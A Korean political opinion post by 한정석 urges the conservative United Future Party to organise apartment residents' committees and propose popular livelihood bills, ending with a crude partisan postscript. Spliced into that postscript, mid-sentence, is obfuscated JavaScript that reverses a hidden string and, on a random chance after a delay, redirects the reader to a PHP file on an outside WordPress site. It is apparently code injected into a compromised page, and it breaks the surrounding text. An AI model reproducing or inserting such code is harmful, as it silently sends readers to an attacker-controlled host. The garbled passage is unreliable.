주거 정치와 민생법안 고까짓 거?

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¶글쓴이 : 한정석

 

-박근혜 정부와 새누리당은 아파트 입대위에 MB시절 구축된 인맥과 자산 거의 방치하다시피 해

-민주당 지자체 단체장들이 마을가꾸기와 마을 공동체 사업에 아파트 주민들 참여 이끈 주거정치

-나라 거덜? 그건 가봐야 아는 거고 지금 내 사는 아파트 집값과 주거환경 문제는 당장 문제인 걸

 

 

1. 국민들이 찬성할 만한 민생 법안을 만들라

아마 지금 통합당은 민생법안을 만들기 위해 파고드는 대신, 어떻게 하면 10월 국정 감사 때 문재인 정부 조질까만 연구하고 있을 것이다. 미리 말하는데, 뻘짓들 하지 마시라.

 

민주당이 반대하고 국민들은 찬성할 만한 민생 법안을 만드시라. 그렇게 해서 민주당과 국민이 싸우게 해야 한다. 통합당이 정말 개혁되고 싶다면, 징병제 폐지, 모병제 같은 법안을 발의해야 한다.

 

가계부채 부분 탕감 같은 법안도 좋다. 통과가 중요한 게 아니다. 민주당의 반대 논리 속에서 그들의 이율배반적인 모순들이 드러나게 해야 하는 것이다.

 

 

정치는 Polis라는 장에서 구체적 삶의 현실을 장악해 나가는 것이다. 거기에서 좌파 규범의 예외를 창출해야 우파에 공간이 생긴다.

 

2. 주민들의 참여를 이끌어 낸다는 것

박근혜 정권 시절, 민주당은 ‘아파트 정치’의 중요성을 이미 깨닫고 있었다. 민주당과 정의당 현장 활동가들은 아파트내 주민간 분쟁과 갈등에 주목했고, 아파트 입대위를 상대로 하는 ‘주거 정치’의 중요성을 소비에트 이론에서 발견했다.

아파트 주거 환경이 아파트 가격에 미치는 영향이 막대하다는 것과 신도시 아파트 소유자들에게 이 문제는 예민한 것이었다.

어리석게도 박근혜 정부와 새누리당은 이 아파트 입대위에 이명박 정권시절 구축된 보수당의 인맥과 자산을 거의 방치하다시피 했다.

그러는 사이, 정의당과 민주당 간 합작으로 신도시 아파트 입대위들이 민주당으로 기울었다. 민주당 지자체 단체장들을 중심으로 마을가꾸기와 마을 공동체 사업이 활발하게 벌어졌기 때문이다.

결과가 무엇이든, 중요한 것은 아파트 주민들의 참여를 이끌어낸다는 것이다. 아파트 단지 내 민주당과 정의당 활동가들이 지자체들과 손잡고 입대위를 통해 건설사들과 장충금 적립이나 수선 협상시 유리한 고지들을 만들어냈다.

아파트에 무인 택배함 설치를 주도한 것도 민주당이었다. 김두관 의원이 이 법안의 주인공이다.

새누리당과 보수는 이런 문제에 전혀 관심이 없었다. 국가와 국민이 북한으로부터 위협을 받는데, 아파트 무인택배나 장기수선 같은 게 무슨 문제냐라는 태도였다.

지금의 통합당도 마찬가지다. 문재인 정권 때문에 나라가 거덜나게 생겼다는 거다. 하지만 나라가 거덜나는 것은 그때 가봐야 아는 것이고, 내가 사는 아파트 집값이나 주거환경 문제는 지금 당장의 문제인 것이다.

 

3. 좌파 규범의 예외를 창출해야

이승만, 박정희도 중요하지만 내가 사는 동네 아파트 입대위와 주민자치위에서 무슨 일이 일어나고 있는지, 무얼 논의하고 있는지 참여하고 감시하는 것도 필요하다.

 

정치는 Polis라는 장에서 구체적 삶의 현실을 장악해 나가는 것이다. 거기에서 좌파 규범의 예외를 창출해야 우파에 공간이 생긴다.

 

돈 있는 보수는 이승만, 박정희 연구하시고 돈 없는 우파는 아파트 입대위, 주민자치위 부터 장악하자. 우파는 보수가 아니다. 자기 계급에 충실하자.

 

덧붙임) 민주주의에서 좌파 정권이 유리한 이유
정권 재창출이 어렵겠다 싶으면…’무적권’ 돈 왕창 풀고 국유화, 공공화, 복지 확대 같은 똥을 가능한 많이 싸놓는 것이 유리함. 이런 걸로 국민은 비난 안 함.
그러면 뒤에 정권 잡은 우파 정권은 그 똥 치우느라 세월 다 보내고, 후유증은 다 뒤집어 씀. 그러면서 작은 정부, 복지 축소로 욕은 다 처 먹음. ‘구관이 명관’이라는 평가 나옴.
똥싼 좌파 정권 사람들은 개 폼만 잡으면서 ‘그래도 우리 때가 나았다’ 점잔 떨고 다니면 됨. 결국 정권 다시 넘어 옴.
우파 전 정권이 똥 치운 결과, 경제 개선되는 효과가 옴.
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to”>이때 아무 것도 하지 않고 똥만 안 싼다면 똥 싸고 다시 잡은 좌파 정권이 연장 됨. 프랑스가 대표적. 그러니 사민주의 SPC가 정권 잡았어도 할 일은 하고 정권 망했던 독일 같은 나라에 주도권 뺏기고 살아가는 것임.

 

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